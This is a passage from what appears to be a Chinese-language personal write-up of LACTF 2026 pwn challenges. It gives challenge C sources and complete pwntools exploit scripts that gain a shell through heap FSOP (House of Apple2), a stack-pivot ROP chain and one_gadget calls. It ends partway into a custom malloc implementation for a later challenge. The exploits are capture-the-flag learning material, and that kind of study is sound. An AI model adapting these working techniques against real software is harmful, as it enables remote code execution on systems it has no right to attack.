io.sendlineafter(b\u0026#39;Option \u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;UID: \u0026#39;, str(UID).encode()) def remove_student(UID): io.sendlineafter(b\u0026#39;Option \u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;UID: \u0026#39;, str(UID).encode()) def exit_fsop(): io.sendlineafter(b\u0026#39;Option \u0026gt; \u0026#39;, b\u0026#39;4\u0026#39;) def attack(): for i in range(10):\t# init add_student(i, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) for i in range(8): remove_student(i) for i in range(7): add_student(i, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) get_student_info(0)\t# leak heap io.recvuntil(b\u0026#39;Name: A\u0026#39;) leak_next = u64(io.recv(5).ljust(8, b\u0026#39;\\x00\u0026#39;)) heap = (calc_real_next(leak_next) - 0x1e) * 0x100 log.info(f\u0026#39;heap = {hex(heap)}\u0026#39;) add_student(7)\t# leak libc get_student_info(7) io.recvuntil(b\u0026#39;Name: \u0026#39;) libc.address = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x1e6c20 log.info(f\u0026#39;libc = {hex(libc.address)}\u0026#39;) fsop = libc.symbols[\u0026#39;_IO_list_all\u0026#39;] - 0x10 add_student(8)\t# fix add_student(9) for i in range(14): add_student(i % 10) for i in range(7): add_student(i, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) for i in range(7):\t# init add_student(i, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) payload = b\u0026#39;A\u0026#39; * 0x10 + p64(fsop) add_student(7, True, b\u0026#39;A\u0026#39;, payload, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) add_student(8, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) add_student(9, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) for i in range(8): remove_student(i) for i in range(7): add_student(i, True, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) add_student(7) add_student(8) fake_io_base = heap + 0x40b0\t# house of apple2 fake_io = flat({ 0x0: b\u0026#34; sh;\u0026#34;, 0x28: 1, 0x68: libc.sym[\u0026#39;system\u0026#39;], 0x88: fake_io_base + 0x1000, 0xA0: fake_io_base, 0xD8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;], 0xE0: fake_io_base }, filler=b\u0026#34;\\x00\u0026#34; ) add_student(9, True, fake_io, b\u0026#39;A\u0026#39;, b\u0026#39;A\u0026#39;, True, b\u0026#39;A\u0026#39;) exit_fsop() io.interactive() attack() adventure checksec 1 2 3 4 5 6 7 8 9 [*] \u0026#39;/home/RatherHard/CTF-pwn/LACTF/adventure/chall\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main(void); #define BOARD_SIZE 16 #define MAX_MOVES 300 #define INPUT_SIZE 8 #define NUM_ITEMS 8 char history[MAX_MOVES][INPUT_SIZE]; int move_count = 0; int player_x = 0; int player_y = 0; const char *last_item = \u0026#34;None\u0026#34;; int board[BOARD_SIZE][BOARD_SIZE]; const char *item_names[] = { \u0026#34;Sword\u0026#34;, \u0026#34;Shield\u0026#34;, \u0026#34;Potion\u0026#34;, \u0026#34;Key\u0026#34;, \u0026#34;Scroll\u0026#34;, \u0026#34;Amulet\u0026#34;, \u0026#34;Crown\u0026#34;, \u0026#34;Flag\u0026#34; }; const char item_symbols[] = { \u0026#39;S\u0026#39;, \u0026#39;H\u0026#39;, \u0026#39;P\u0026#39;, \u0026#39;K\u0026#39;, \u0026#39;L\u0026#39;, \u0026#39;A\u0026#39;, \u0026#39;C\u0026#39;, \u0026#39;F\u0026#39; }; int inventory[NUM_ITEMS] = {0}; void print_banner(void) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; ╔═══════════════════════════════════════════╗\u0026#34;); puts(\u0026#34; ║ ⚔️ ADVENTURE IN THE DARK MAZE ⚔️ ║\u0026#34;); puts(\u0026#34; ║ ~ A Quest for Glory ~ ║\u0026#34;); puts(\u0026#34; ╚═══════════════════════════════════════════╝\u0026#34;); puts(\u0026#34;\u0026#34;); puts(\u0026#34; In the ancient dungeon of the Forgotten Realm,\u0026#34;); puts(\u0026#34; treasures await the brave adventurer...\u0026#34;); puts(\u0026#34;\u0026#34;); } void print_help(void) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; ┌─────────── COMMANDS ───────────┐\u0026#34;); puts(\u0026#34; │ n/s/e/w - Move North/South/ │\u0026#34;); puts(\u0026#34; │ East/West │\u0026#34;); puts(\u0026#34; │ look - Look around │\u0026#34;); puts(\u0026#34; │ inv - Check inventory │\u0026#34;); puts(\u0026#34; │ grab - Pick up item │\u0026#34;); puts(\u0026#34; │ help - Show this help │\u0026#34;); puts(\u0026#34; │ quit - Leave the dungeon │\u0026#34;); puts(\u0026#34; └────────────────────────────────┘\u0026#34;); puts(\u0026#34;\u0026#34;); } void print_inventory(void) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; ╔═════════ INVENTORY ═════════╗\u0026#34;); int item_count = 0; for (int i = 0; i \u0026lt; NUM_ITEMS; i++) { if (inventory[i]) { printf(\u0026#34; ║ [%c] %-22s ║\\n\u0026#34;, item_symbols[i], item_names[i]); item_count++; } } if (item_count == 0) { puts(\u0026#34; ║ (empty) ║\u0026#34;); } puts(\u0026#34; ╠═════════════════════════════╣\u0026#34;); printf(\u0026#34; ║ %2d,%2d %d/%d %3d/%3d %-6s ║\\n\u0026#34;, player_x, player_y, item_count, NUM_ITEMS, move_count, MAX_MOVES, last_item); puts(\u0026#34; ╚═════════════════════════════╝\u0026#34;); puts(\u0026#34;\u0026#34;); } void look_around(void) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; ~~ You peer into the darkness ~~\u0026#34;); printf(\u0026#34; You stand at position (%d, %d).\\n\u0026#34;, player_x, player_y); if (board[player_y][player_x] \u0026gt; 0) { int item_idx = board[player_y][player_x] - 1; printf(\u0026#34; A glimmering %s lies at your feet!\\n\u0026#34;, item_names[item_idx]); } else { puts(\u0026#34; The cold stone floor is bare.\u0026#34;); } puts(\u0026#34;\u0026#34;); } void check_flag_password(void) { char password[0020]; puts(\u0026#34;\u0026#34;); puts(\u0026#34; ╔═══════════════════════════════════════╗\u0026#34;); puts(\u0026#34; ║ The sacred Flag pulses with power! ║\u0026#34;); puts(\u0026#34; ║ Speak the ancient password to ║\u0026#34;); puts(\u0026#34; ║ unlock its secrets... ║\u0026#34;); puts(\u0026#34; ╚═══════════════════════════════════════╝\u0026#34;); puts(\u0026#34;\u0026#34;); printf(\u0026#34; Password: \u0026#34;); fflush(stdout); if (fgets(password, 0x20, stdin) == NULL) { return; } password[strcspn(password, \u0026#34;\\n\u0026#34;)] = 0; if (strcmp(password, \u0026#34;easter_egg\u0026#34;) == 0) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; *** CONGRATULATIONS! ***\u0026#34;); puts(\u0026#34; The Flag\u0026#39;s magic flows through you!\u0026#34;); puts(\u0026#34; You have conquered the dungeon!\u0026#34;); puts(\u0026#34;\u0026#34;); } else { puts(\u0026#34;\u0026#34;); puts(\u0026#34; The Flag rejects your words...\u0026#34;); puts(\u0026#34; But you keep it anyway.\u0026#34;); puts(\u0026#34;\u0026#34;); } } void grab_item(void) { if (board[player_y][player_x] == 0) { puts(\u0026#34; There is nothing here to grab.\u0026#34;); return; } int item_idx = board[player_y][player_x] - 1; printf(\u0026#34; You pick up the %s!\\n\u0026#34;, item_names[item_idx]); inventory[item_idx] = 1; board[player_y][player_x] = 0; last_item = item_names[item_idx]; if (item_idx == 7) { check_flag_password(); } } void move_player(int dx, int dy) { int new_x = player_x + dx; int new_y = player_y + dy; if (new_x \u0026lt; 0 || new_x \u0026gt;= BOARD_SIZE || new_y \u0026lt; 0 || new_y \u0026gt;= BOARD_SIZE) { puts(\u0026#34; You bump into a cold stone wall.\u0026#34;); return; } player_x = new_x; player_y = new_y; const char *directions[] = {\u0026#34;north\u0026#34;, \u0026#34;south\u0026#34;, \u0026#34;east\u0026#34;, \u0026#34;west\u0026#34;}; int dir_idx = (dy == -1) ? 0 : (dy == 1) ? 1 : (dx == 1) ? 2 : 3; printf(\u0026#34; You venture %s...\\n\u0026#34;, directions[dir_idx]); if (board[player_y][player_x] \u0026gt; 0) { int item_idx = board[player_y][player_x] - 1; printf(\u0026#34; You spot a %s here!\\n\u0026#34;, item_names[item_idx]); } } void init_board(void) { memset(board, 0, sizeof(board)); unsigned long addr = (unsigned long)main; unsigned char *bytes = (unsigned char *)\u0026amp;addr; for (int i = NUM_ITEMS - 1; i \u0026gt;= 0; i--) { int x = (bytes[i] \u0026gt;\u0026gt; 4) \u0026amp; 0x0F; int y = bytes[i] \u0026amp; 0x0F; while (board[y][x] != 0) { x = (x + 1) % BOARD_SIZE; if (x == 0) y = (y + 1) % BOARD_SIZE; } board[y][x] = i + 1; } } int main(void) { char input[INPUT_SIZE]; setbuf(stdout, NULL); setbuf(stdin, NULL); print_banner(); init_board(); print_help(); while (move_count \u0026lt; MAX_MOVES) { printf(\u0026#34;\u0026gt; \u0026#34;); fflush(stdout); if (fgets(input, sizeof(input), stdin) == NULL) { break; } input[strcspn(input, \u0026#34;\\n\u0026#34;)] = 0; strncpy(history[move_count], input, INPUT_SIZE - 1); history[move_count][INPUT_SIZE - 1] = \u0026#39;\\0\u0026#39;; move_count++; if (strcmp(input, \u0026#34;n\u0026#34;) == 0) { move_player(0, -1); } else if (strcmp(input, \u0026#34;s\u0026#34;) == 0) { move_player(0, 1); } else if (strcmp(input, \u0026#34;e\u0026#34;) == 0) { move_player(1, 0); } else if (strcmp(input, \u0026#34;w\u0026#34;) == 0) { move_player(-1, 0); } else if (strcmp(input, \u0026#34;look\u0026#34;) == 0) { look_around(); } else if (strcmp(input, \u0026#34;inv\u0026#34;) == 0) { print_inventory(); } else if (strcmp(input, \u0026#34;grab\u0026#34;) == 0) { grab_item(); } else if (strcmp(input, \u0026#34;help\u0026#34;) == 0) { print_help(); } else if (strcmp(input, \u0026#34;quit\u0026#34;) == 0) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; You flee the dungeon in fear...\u0026#34;); puts(\u0026#34; Perhaps another day, brave adventurer.\u0026#34;); puts(\u0026#34;\u0026#34;); break; } else if (strlen(input) \u0026gt; 0) { puts(\u0026#34; Unknown command. Type \u0026#39;help\u0026#39; for options.\u0026#34;); } if (move_count % 25 == 0 \u0026amp;\u0026amp; move_count \u0026lt; MAX_MOVES) { printf(\u0026#34; [%d moves remaining...]\\n\u0026#34;, MAX_MOVES - move_count); } } if (move_count \u0026gt;= MAX_MOVES) { puts(\u0026#34;\u0026#34;); puts(\u0026#34; ════════════════════════════════════\u0026#34;); puts(\u0026#34; The dungeon\u0026#39;s magic forces you out!\u0026#34;); puts(\u0026#34; You have exhausted your journey...\u0026#34;); puts(\u0026#34; ════════════════════════════════════\u0026#34;); puts(\u0026#34;\u0026#34;); } return 0; } 棋盘游戏，发现 main 的地址通过棋盘上 item 的坐标信息给出，可以泄露 PIE\ncheck_flag_password 有栈溢出，溢出 0x10 字节\nhistory 里面可以布置 ropchain 从而达成栈迁移\n攻击思路 leak pie 之后在 history 上布置 ropchain ，通过 check_flag_password 的栈溢出把栈迁移到 history 上跑 ropchain 去 leak libc 顺便 reread\n然后 reread 的时候写入 onegadget 就行了\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./chall_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libcoffsetdict = {} libcrealdict = {} def libcdict_add(name, addr): if addr \u0026gt; 0x1000000: libcrealdict[name] = addr addr %= 0x1000 libcoffsetdict[name] = addr def getlibc(): global libc if not debug: libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict)) def initlibc(): if not debug: subprocess.run([\u0026#39;cp\u0026#39;, libc.path, \u0026#39;./libc.so.6\u0026#39;]) subprocess.run([\u0026#39;pwninit\u0026#39;, \u0026#39;--no-template\u0026#39;]) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) def peek(num=4096): message = p.recv(num) p.unrecv(message) return message s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) ur = lambda x :p.unrecv(x) pk = lambda num=4096 :peek(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(\u0026#39;{} = {}\u0026#39;.format(name, hex(eval(name)))) item = { b\u0026#39;Sword\u0026#39;: 0, b\u0026#39;Shield\u0026#39;: 1, b\u0026#39;Potion\u0026#39;: 2, b\u0026#39;Key\u0026#39;: 3, b\u0026#39;Scroll\u0026#39;: 4, b\u0026#39;Amulet\u0026#39;: 5, b\u0026#39;Crown\u0026#39;: 6, b\u0026#39;Flag\u0026#39;: 7 } nowx, nowy = 0, 0 main_leak = 0 pie_leak = 0 def move(way): global nowx, nowy if way == b\u0026#39;e\u0026#39;: nowx += 1 elif way == b\u0026#39;w\u0026#39;: nowx -= 1 elif way == b\u0026#39;s\u0026#39;: nowy += 1 elif way == b\u0026#39;n\u0026#39;: nowy -= 1 sla(b\u0026#39;\u0026gt; \u0026#39;, way) def move_check(way): global main_leak gotit = b\u0026#39;\u0026#39; move(way) rl() if (pk(1) != b\u0026#39;\u0026gt;\u0026#39;): r(2) if r(1) == b\u0026#39;[\u0026#39;: return ru(b\u0026#39;spot a \u0026#39;) gotit = ru(b\u0026#39; \u0026#39;)[:-1] if (item[gotit] \u0026lt;= 5): main_leak |= (nowx \u0026lt;\u0026lt; 4 | nowy) \u0026lt;\u0026lt; (8 * item[gotit]) def grab(pwd): sla(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;grab\u0026#39;) sa(b\u0026#39;Password: \u0026#39;, pwd[:-1]) def write(data): while data: sla(b\u0026#39;\u0026gt; \u0026#39;, data[:6]) data = data[0x8:] def attack(): global pie_leak for i in range(0x8): for _ in range(0x10 - 1): move_check(b\u0026#39;e\u0026#39;) move_check(b\u0026#39;s\u0026#39;) for _ in range(0x10 - 1): move_check(b\u0026#39;w\u0026#39;) if (i \u0026lt; 0x7): move_check(b\u0026#39;s\u0026#39;) pie_leak = main_leak - 0x1adf leak(\u0026#39;pie_leak\u0026#39;) for _ in range(0x10 - 1): move(b\u0026#39;n\u0026#39;) leave_ret = pie_leak + 0x172F rw_addr = pie_leak + 0x4910 # history reread = pie_leak + 0x164D rop_leak_chain = flat([ rw_addr + 0x20, pie_leak + 0x1480, # leak with printf 0, pie_leak + 0x3F98, # last_item leak puts rw_addr + 0x38, reread ]) write(rop_leak_chain) payload = b\u0026#39;A\u0026#39; * 0x10 + p64(rw_addr) + p64(leave_ret) grab(payload) libc.address = uru64() - libc.sym[\u0026#39;puts\u0026#39;] leak(\u0026#39;libc.address\u0026#39;) xor_rax_ret = libc.address + 0xc75e9 pop_rbp_ret = pie_leak + 0x1233 one_gadget = libc.address + 0xef52b rop_break_chain = flat([ xor_rax_ret, pop_rbp_ret, pie_leak + 0x6000, one_gadget ]) sl(rop_break_chain) itr() attack() # 0x583ec posix_spawn(rsp+0xc, \u0026#34;/bin/sh\u0026#34;, 0, rbx, rsp+0x50, environ) # constraints: # address rsp+0x68 is writable # rsp \u0026amp; 0xf == 0 # rax == NULL || {\u0026#34;sh\u0026#34;, rax, rip+0x17301e, r12, ...} is a valid argv # rbx == NULL || (u16)[rbx] == NULL # 0x583f3 posix_spawn(rsp+0xc, \u0026#34;/bin/sh\u0026#34;, 0, rbx, rsp+0x50, environ) # constraints: # address rsp+0x68 is writable # rsp \u0026amp; 0xf == 0 # rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv # rbx == NULL || (u16)[rbx] == NULL # 0xef4ce execve(\u0026#34;/bin/sh\u0026#34;, rbp-0x50, r12) # constraints: # address rbp-0x48 is writable # rbx == NULL || {\u0026#34;/bin/sh\u0026#34;, rbx, NULL} is a valid argv # [r12] == NULL || r12 == NULL || r12 is a valid envp # 0xef52b execve(\u0026#34;/bin/sh\u0026#34;, rbp-0x50, [rbp-0x78]) # constraints: # address rbp-0x50 is writable # rax == NULL || {\u0026#34;/bin/sh\u0026#34;, rax, NULL} is a valid argv # [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp # 0x00000000000c75e9: xor rax, rax; ret; the_time_war checksec 1 2 3 4 5 6 7 [*] \u0026#39;/home/RatherHard/CTF-pwn/LACTF/the_time_war/pwn_the_time_war\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; void run(); void init() { setbuf(stdout, NULL); srand(clock_gettime); } void run() { short code[4]; for (int i = 0; i \u0026lt; 4; i ++) { code[i] = rand() % 16; } printf(\u0026#34;You see a locked box. The dial on the lock reads: %d-%d-%d-%d\\n\u0026#34;, code[0], code[1], code[2], code[3]); printf(\u0026#34;Which dial do you want to turn? \u0026#34;); short ind1, val1, ind2, val2; if (scanf(\u0026#34;%hd\u0026#34;, \u0026amp;ind1) \u0026lt;= 0) { return; } printf(\u0026#34;What do you want to set it to? \u0026#34;); scanf(\u0026#34;%hd\u0026#34;, \u0026amp;val1); printf(\u0026#34;Second dial to turn? \u0026#34;); scanf(\u0026#34;%hd\u0026#34;, \u0026amp;ind2); printf(\u0026#34;What do you want to set it to? \u0026#34;); scanf(\u0026#34;%hd\u0026#34;, \u0026amp;val2); code[ind1] = val1; code[ind2] = val2; printf(\u0026#34;The box remains locked.\\n\u0026#34;); } int main(void) { init(); run(); return 0; } 有两个越界写，可以用来劫持\n由于有 pie ，第一次劫持的时候需要去爆 1/16\n这题需要打 libc ，由于随机数种子为 clock_gettime 的地址的低 4 字节，我们可以去根据生成的随机数去爆破种子从而 leak libc 的一部分\n4 个随机数不够，8 个刚好\n最后通过伪造栈帧去打 onegadget 即可，不过会碰到缺 libc 的高 4 字节的问题，这一点可以通过把栈上残留值搬到缺失的位置上来解决，需要利用 scanf 解析失败保留原变量值的特性\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import * from ctypes import CDLL context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./pwn_the_time_war_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) glibc = CDLL(\u0026#39;libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 def conn(): if debug: return process(file) else: return remote(target, port) def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) p = io = None s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) numslot = [] seed = 0 def change(idx, val): sla(b\u0026#39;turn? \u0026#39;, str(idx).encode()) sla(b\u0026#39;to? \u0026#39;, str(val).encode()) def recvnum(): ru(b\u0026#39;lock reads: \u0026#39;) for _ in range(3): numslot.append(int(ru(b\u0026#39;-\u0026#39;)[:-1])) numslot.append(int(ru(b\u0026#39;\\n\u0026#39;)[:-1])) def hijacklow(idx, addr): libc_low = seed - 0xcf420 + addr change(10, 0x132A) change(idx, libc_low \u0026amp; 0xffff) change(10, 0x132A) change(idx + 1, (libc_low \u0026gt;\u0026gt; 16) \u0026amp; 0xffff) def attack(): global p, io, numslot, seed while True: try: p = io = conn() numslot.clear() recvnum() change(10, 0x132A) change(28, \u0026#39;+\u0026#39;) recvnum() except: p.close() continue break log.info(f\u0026#39;{numslot}\u0026#39;) for i in range(0, 0x100000): seed = i * 0x1000 + 0x420 glibc.srand(seed) judgeslot = [glibc.rand() % 16 for _ in range(8)] if judgeslot == numslot: numslot.clear() log.info(f\u0026#34;Found the correct seed: {hex(seed)}\u0026#34;) break hijacklow(18, 0x319ad) hijacklow(26, 0x4c139) change(0, 0) change(0, 0) itr() attack() # 0x00000000000319ad: pop rbx; ret; # 0x4c139 posix_spawn(rsp+0xc, \u0026#34;/bin/sh\u0026#34;, 0, rbx, rsp+0x50, environ) # constraints: # address rsp+0x60 is writable # rsp \u0026amp; 0xf == 0 # rax == NULL || {\u0026#34;sh\u0026#34;, rax, r12, NULL} is a valid argv # rbx == NULL || (u16)[rbx] == NULL # 0x4c140 posix_spawn(rsp+0xc, \u0026#34;/bin/sh\u0026#34;, 0, rbx, rsp+0x50, environ) # constraints: # address rsp+0x60 is writable # rsp \u0026amp; 0xf == 0 # rcx == NULL || {rcx, rax, r12, NULL} is a valid argv # rbx == NULL || (u16)[rbx] == NULL # 0xd515f execve(\u0026#34;/bin/sh\u0026#34;, rbp-0x40, r13) # constraints: # address rbp-0x38 is writable # rdi == NULL || {\u0026#34;/bin/sh\u0026#34;, rdi, NULL} is a valid argv # [r13] == NULL || r13 == NULL || r13 is a valid envp ","date":"2026-02-11T02:38:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/contest/lactf-2026-pwn-wp/","title":"LACTF2026-pwn 个人题解"},{"content":"Heap1sEz checksec canary and pie\nmalloc.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 #include \u0026lt;malloc.h\u0026gt; #include \u0026lt;assert.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1; const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T)); void *start = NULL; hook_t hook = NULL; struct malloc_state main_arena; struct malloc_par mp_ = { .top_size = TOP_CHUNK_SIZE }; static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline)); static void malloc_init_state (mstate av) __attribute__((noinline)); static void unlink_chunk (mchunkptr p) __attribute__((noinline)); void *malloc (size_t bytes){ INTERNAL_SIZE_T nb; INTERNAL_SIZE_T size; INTERNAL_SIZE_T remainder_size; mchunkptr victim; mchunkptr remainder; void *p; nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) \u0026lt; MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) \u0026amp; (~MALLOC_ALIGN_MASK); //first request if(main_arena.top == NULL){ malloc_init_state(\u0026amp;main_arena); p = sysmalloc(nb, \u0026amp;main_arena); return p; } //unsorted bin while ((victim = ((mchunkptr)bin_at(\u0026amp;main_arena, 1))-\u0026gt;bk) != bin_at(\u0026amp;main_arena, 1)) { size = chunksize(victim); /* split */ if(size \u0026gt;= nb){ if(size - nb \u0026gt;= MINSIZE){ remainder_size = size - nb; remainder = victim; victim = chunk_at_offset(remainder, remainder_size); set_head(victim, nb); set_inuse(victim); set_head_size(remainder, remainder_size); set_foot(remainder, remainder_size); p = chunk2mem(victim); return p; } else{ unlink_chunk(victim); set_inuse(victim); return chunk2mem(victim); } } } if(nb \u0026gt; chunksize(main_arena.top) - MINSIZE) TODO(); /* split */ else{ victim = main_arena.top; size = chunksize(victim); remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); main_arena.top = remainder; set_head (victim, nb | PREV_INUSE); set_head (remainder, remainder_size | PREV_INUSE); void *p = chunk2mem (victim); return p; } //can\u0026#39;t reach here assert(0); return NULL; } void free(void *mem) { mchunkptr p; /* chunk corresponding to mem */ INTERNAL_SIZE_T size; /* its size */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem); return; } if(mem == NULL){ return; } p = mem2chunk (mem); size = chunksize(p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size while consolidating\u0026#34;); unlink_chunk (p); } if (nextchunk != main_arena.top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink_chunk (nextchunk); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); bck = bin_at(\u0026amp;main_arena, 1); fwd = bck-\u0026gt;fd; //if 